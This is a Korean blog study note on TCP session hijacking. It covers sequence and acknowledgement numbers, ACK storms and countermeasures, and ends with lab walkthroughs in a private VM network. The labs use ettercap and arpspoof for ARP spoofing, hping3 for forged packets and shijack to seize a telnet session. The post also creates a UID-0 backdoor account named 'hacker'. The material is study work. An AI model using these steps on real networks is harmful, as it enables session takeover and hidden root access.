TCP Session Hijacking

justugi·2025년 5월 30일

네트워크 보안

목록 보기
4/13

TCP Session Hijacking

  • TCP 특징

      1. 연결지향 : 상대가 통신 가능한 상태인지 확인하여 문제가 없으면 통신
      • 3 way handshake
      1. 신뢰성 : 통신 확인 응답 및 재전송 기능, 순서번호 (sequence number, acknowledge number)
      • 순서번호를 통해 데이터를 순서대로 보내며 이를 통해 오류 검증 가능
      1. 흐름 제어 : 데이터 전송량 조절
  • Session (세션)

    • 두 대의 시스템 (호스트) 간의 통신 활성화 된 상태
  • TCP Session

    • TCP 를 통해 연결된 논리적인 Session
    • 서버가 클라이언트 구분하는 기준 : 1 & 2 & 3
        1. IP 주소
        • nat 때문에 부족함
        1. 클라이언트 포트 주소
        • 겹칠 수 있음
        1. 순서 (sequence number, acknowledge number)
      • 서버에게 데이터 전송시 순서가 안맞으면 통신 불가 (제대로된 순서 번호가 오도록 재전송 요청)
  • TCP Session Hijacking

    • 이미 인증된 연결을 탈취하는 개념이라 인증우회되는 결과를 낳음 -> 권한 상승 -> 중요한 정보에 접근 가능
    • Sniffing 을 사전공격으로 함 + Spoofing 공격
    • 암호화 통신에선 제대로 암호화해서 보낼수 없고, 복호화도 힘들어서 효과가 적음
    • 기존 통신중이던 클라이언트는 해당 연결이 끊김
      • ack 신호 증폭하는 결과 (ack storm) 를 낳음
        • 해커는 ack storm 숨기려고 피해자의 통신을 막아버림
    • 해커가 TCP Session Hijacking 하려면
        1. 클라이언트 IP 주소 변조
        1. 클라이언트 포트 번호
        1. sequence number
        • 초기 번호는 랜덤
        1. acknowledge number
        • 내가 다음에 받을 시퀀스 넘버를 상대에게 보냄
        • 초기 번호는 0 으로 전송
      • Sequence / Acknowledge number
        • SYN : 클라이언트 ---100/0-> 서버
        • ACK / SYN : 클라이언트 <-1000/101-- 서버
        • ACK : 클라이언트 --101/1001-> 서버
      • 3 way handshake 끝나고 클라이언트가 서버로 요청 데이터를 보낼 땐 (연속해서 데이터를 보낼 때) Sequence / Acknowledge number 를 직전과 동일하게 맞춰서 보냄
        • 클라이언트 --101/1001-> 서버
        • 이렇게 클라이언트가 마지막으로 서버에게 보낸 Sequence / Acknowledge number 로 해커가 서버에게 패킷을 보내면, 서버는 연속으로 두 번 같은 Sequence / Acknowledge number 인 패킷을 받아들이기때문에 해커가 세션 탈취 가능
    • 기존 통신중이던 클라이언트는 해당 연결이 끊김
      • 기존의 클라이언트와 서버가 서로의 Sequence Number 를 정상적이지 않다고 인식하여 ACK 패킷을 서로 전송
        • ack 신호 증폭하는 결과 (ack storm) 를 낳음
          • ARP Spoofing 을 이용하여 잘못된 패킷은 전달되지 않도록 공격하거나
          • 해커는 ack storm 숨기려고 피해자의 통신을 막아버림
    • 보안 대책
      • 비동기화 상태 탐지
      • ACK Storm 탐지
      • 패킷 유실 & 재전송 증가 탐지
      • 지속적인 인증 (Countinuous Authentication)
        • 특정 행동이나 일정 시간 후 다시 인증 수행
      • 암호화 사용
        • 데이터 전송을 암호화하여 Sniffing 에 대응
        • Sniffing 에 대한 대응책을 통해 Sequence Number 추측을 어렵게 함
        • SSH, SSL / TLS, IPSec / VPN

실습 (수동)

  • netcat (nc)
    • network 로 장비를 연결하게 문자 데이터를 서로 전송 출력하는 서비스 (TCP 통신)
    • netcat-win32-1.12 사용

linux (Server)
192.168.50.50/24 (vmnet8)
XP (Client)
192.168.50.100/24 (vmnet8)
kali
192.168.50.200/24 (vmnet8)

[linux]

  • netcat 설치

    • dnf -y install epel-release
    • dnf -y install netcat
  • netcat 실행

    • nc -l 포트번호
    • nc -l 9999

[XP]

  • netcat 설치

    • netcat-win32-1.12.zip 압축 풀고 nc 파일 복사해서 C:\ 에 붙여넣기
  • netcat 실행

    • cmd 에서 cd .. 으로 c:\ 로 이동 - nc 서버IP주소 서버포트번호

[kali]

  • ARP spoofing 을 통해 sniffing 하여 클라이언트의 IP 주소, 포트 주소 알아내기

    • ettercap -T -M arp:remote /192.168.50.50/192.168.50.100/
      • wireshark 로 필요한 정보 알아내기
        • flag : PSH, ACK
        • 클라이언트 : 192.168.50.100, 1030
        • 서버 : 192.168.50.50
        • seq num : 4109084203
        • ack num : 2298206463
          • 마지막에 클라이언트가 보낸 패킷의 number 로 설정
  • 패킷 생성 & 전송

    • hping3 -a 출발지IP주소 -s 출발지포트 -p 목적지포트 -M seq.num -L ack.num -E 전송할파일경로 -d 파일크기(byte) -P -A -c 보낼횟수 목적지IP주소
      • (flag) -P : PSH, -A : ACK

실습 (shijack)

linux (telnet server)
XP (telnet client)
kali (공격자)

  • shijack : TCP Session Hijacking tool

[linux]

  • telnet server 실행

[XP]

  • cmd 로 telnet 이용
    • telnet 192.168.50.50

[kali]

  • arp spoofing

    • arpspoof -i eth0 -t 192.168.50.50 192.168.50.100
    • arpspoof -i eth0 -t 192.168.50.100 192.168.50.50
    • fragrouter -B1
  • shijack

    • ./sjijack-lnx 인터페이스 클라이언트IP주소 클라이언트포트 서버IP주소 서버포트

    • ./sjijack-lnx eth0 192.168.50.100 1044 192.168.50.50 23

    • fragrouter 종료

    • XP (client) 에서는 접속이 끊겨서 명령어 입력조차 안됨

    • kali 에서 touch test 등 으로 파일 생성 후

      • kali 에서 표준출력 되진 않음
    • linux (server) 에서 ls 로 확인 가능

    • ex) kali 로 세션 탈취 후 백도어용 계정 생성

      • useradd hacker
      • passwd hacker
      • 1234
      • 1234
      • 1234
      • usermod -o -u 0 hacker
        • hacker 의 UID 를 0 으로 바꿔서 root 처럼 설정 (-o : 중복 무시)
      • ctrl + c 로 공격 종료
      • telnet 192.168.50.50 후 hacker 로 로그인 하면 [root@localhost ~]# 로 root 권한 사용 가능
profile
IT 보안, 관심 있는 것을 공부합니다.

0개의 댓글